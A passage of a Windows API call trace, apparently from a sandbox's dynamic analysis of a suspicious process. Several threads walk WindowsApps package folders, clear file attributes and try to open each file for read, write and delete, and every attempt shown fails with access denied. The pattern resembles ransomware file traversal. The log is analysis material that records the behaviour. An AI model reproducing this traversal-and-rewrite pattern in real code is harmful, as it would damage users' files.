	[0079.787] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0079.787] GetLastError () returned 0x5
	[0079.787] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri", dwFileAttributes=0x20) returned 0
	[0079.788] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02688) returned 1

Thread:
	id = 590
	os_tid = 0x1864

	[0077.487] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0081.774] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0081.774] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.226] GetLastError () returned 0x5
	[0085.226] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0085.226] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7e7b8) returned 1

Thread:
	id = 591
	os_tid = 0x1868

	[0077.489] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0081.778] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.778] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.778] GetLastError () returned 0x5
	[0081.778] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0081.778] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ca140) returned 1

Thread:
	id = 592
	os_tid = 0x186c

	[0077.490] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0081.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0081.773] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0085.225] GetLastError () returned 0x5
	[0085.225] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0085.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e10fb8) returned 1

Thread:
	id = 593
	os_tid = 0x1870

	[0077.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8620
	[0077.492] wcscpy (in: _Dest=0x47c8620, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css"
	[0077.492] wcscat (in: _Dest=0x47c8620, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\"
	[0077.492] wcscat (in: _Dest=0x47c8620, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\*"
	[0077.492] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475b318
	[0077.492] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\*", lpFindFileData=0x475b318 | out: lpFindFileData=0x475b318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2be01, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87e38
	[0081.777] wcscmp (_String1=".", _String2=".") returned 0
	[0081.777] FindNextFileW (in: hFindFile=0x2d87e38, lpFindFileData=0x475b318 | out: lpFindFileData=0x475b318*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2be01, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.777] wcscmp (_String1="..", _String2=".") returned 1
	[0081.777] wcscmp (_String1="..", _String2="..") returned 0
	[0081.778] FindNextFileW (in: hFindFile=0x2d87e38, lpFindFileData=0x475b318 | out: lpFindFileData=0x475b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.css", cAlternateFileName="")) returned 1
	[0081.778] wcscmp (_String1="default.css", _String2=".") returned 1
	[0081.778] wcscmp (_String1="default.css", _String2="..") returned 1
	[0081.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47184f0
	[0081.778] wcscpy (in: _Dest=0x47184f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css"
	[0081.778] wcscat (in: _Dest=0x47184f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\"
	[0081.778] wcscat (in: _Dest=0x47184f0, _Source="default.css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css"
	[0091.873] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css")) returned 0x20
	[0091.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css", dwFileAttributes=0x20) returned 0
	[0091.885] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.885] GetLastError () returned 0x5
	[0091.885] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\css\\default.css", dwFileAttributes=0x20) returned 0
	[0091.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47184f0) returned 1
	[0091.885] FindNextFileW (in: hFindFile=0x2d87e38, lpFindFileData=0x475b318 | out: lpFindFileData=0x475b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe, dwReserved0=0x0, dwReserved1=0x0, cFileName="default.css", cAlternateFileName="")) returned 0
	[0091.885] FindClose (in: hFindFile=0x2d87e38 | out: hFindFile=0x2d87e38) returned 1
	[0091.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475b318) returned 1
	[0091.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47c8620) returned 1
	[0091.885] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddbdd8) returned 1

Thread:
	id = 594
	os_tid = 0x1874

	[0077.493] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html")) returned 0x20
	[0081.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html", dwFileAttributes=0x20) returned 0
	[0081.773] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.773] GetLastError () returned 0x5
	[0081.773] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\default.html", dwFileAttributes=0x20) returned 0
	[0081.773] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cb288) returned 1

Thread:
	id = 595
	os_tid = 0x1878

	[0077.494] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x47c8e60
	[0077.494] wcscpy (in: _Dest=0x47c8e60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0077.494] wcscat (in: _Dest=0x47c8e60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0077.494] wcscat (in: _Dest=0x47c8e60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\*"
	[0077.495] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475b7e8
	[0077.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\*", lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2cc20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87ef8
	[0081.777] wcscmp (_String1=".", _String2=".") returned 0
	[0081.777] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xa9f2cc20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdff5463, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.777] wcscmp (_String1="..", _String2=".") returned 1
	[0081.777] wcscmp (_String1="..", _String2="..") returned 0
	[0081.777] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.scale-100.png", cAlternateFileName="")) returned 1
	[0081.777] wcscmp (_String1="AppConnectorAppList.scale-100.png", _String2=".") returned 1
	[0081.777] wcscmp (_String1="AppConnectorAppList.scale-100.png", _String2="..") returned 1
	[0081.777] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4765410
	[0081.777] wcscpy (in: _Dest=0x4765410, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0081.777] wcscat (in: _Dest=0x4765410, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0081.777] wcscat (in: _Dest=0x4765410, _Source="AppConnectorAppList.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png"
	[0091.889] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.scale-100.png")) returned 0x20
	[0091.892] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.892] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.892] GetLastError () returned 0x5
	[0091.892] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.scale-100.png", dwFileAttributes=0x20) returned 0
	[0091.902] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765410) returned 1
	[0091.902] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-16.png", cAlternateFileName="")) returned 1
	[0091.902] wcscmp (_String1="AppConnectorAppList.targetsize-16.png", _String2=".") returned 1
	[0091.902] wcscmp (_String1="AppConnectorAppList.targetsize-16.png", _String2="..") returned 1
	[0091.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028320
	[0091.902] wcscpy (in: _Dest=0x5028320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.902] wcscat (in: _Dest=0x5028320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.902] wcscat (in: _Dest=0x5028320, _Source="AppConnectorAppList.targetsize-16.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png"
	[0091.902] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-16.png")) returned 0x20
	[0091.913] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.913] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-16.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.913] GetLastError () returned 0x5
	[0091.913] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-16.png", dwFileAttributes=0x20) returned 0
	[0091.913] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028320) returned 1
	[0091.913] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-20.png", cAlternateFileName="")) returned 1
	[0091.913] wcscmp (_String1="AppConnectorAppList.targetsize-20.png", _String2=".") returned 1
	[0091.913] wcscmp (_String1="AppConnectorAppList.targetsize-20.png", _String2="..") returned 1
	[0091.913] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x50274b0
	[0091.913] wcscpy (in: _Dest=0x50274b0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.914] wcscat (in: _Dest=0x50274b0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
	[0091.914] wcscat (in: _Dest=0x50274b0, _Source="AppConnectorAppList.targetsize-20.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png"
	[0091.914] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-20.png")) returned 0x20
	[0091.914] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.914] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\appconnectorapplist.targetsize-20.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.914] GetLastError () returned 0x5
	[0091.914] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\AppConnectorAppList.targetsize-20.png", dwFileAttributes=0x20) returned 0
	[0091.914] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50274b0) returned 1
	[0091.914] FindNextFileW (in: hFindFile=0x2d87ef8, lpFindFileData=0x475b7e8 | out: lpFindFileData=0x475b7e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdfcf205, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdfcf205, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdfcf205, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppConnectorAppList.targetsize-24.png", cAlternateFileName="")) returned 1
	[0091.914] wcscmp (_String1="AppConnectorAppList.targetsize-24.png", _String2=".") returned 1
	[0091.914] wcscmp (_String1="AppConnectorAppList.targetsize-24.png", _String2="..") returned 1
	[0091.914] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5026b68
	[0091.914] wcscpy (in: _Dest=0x5026b68, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images"
	[0091.914] wcscat (in: _Dest=0x5026b68, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_1.3.3.0_neutral__8wekyb3d8bbwe\\images\\"
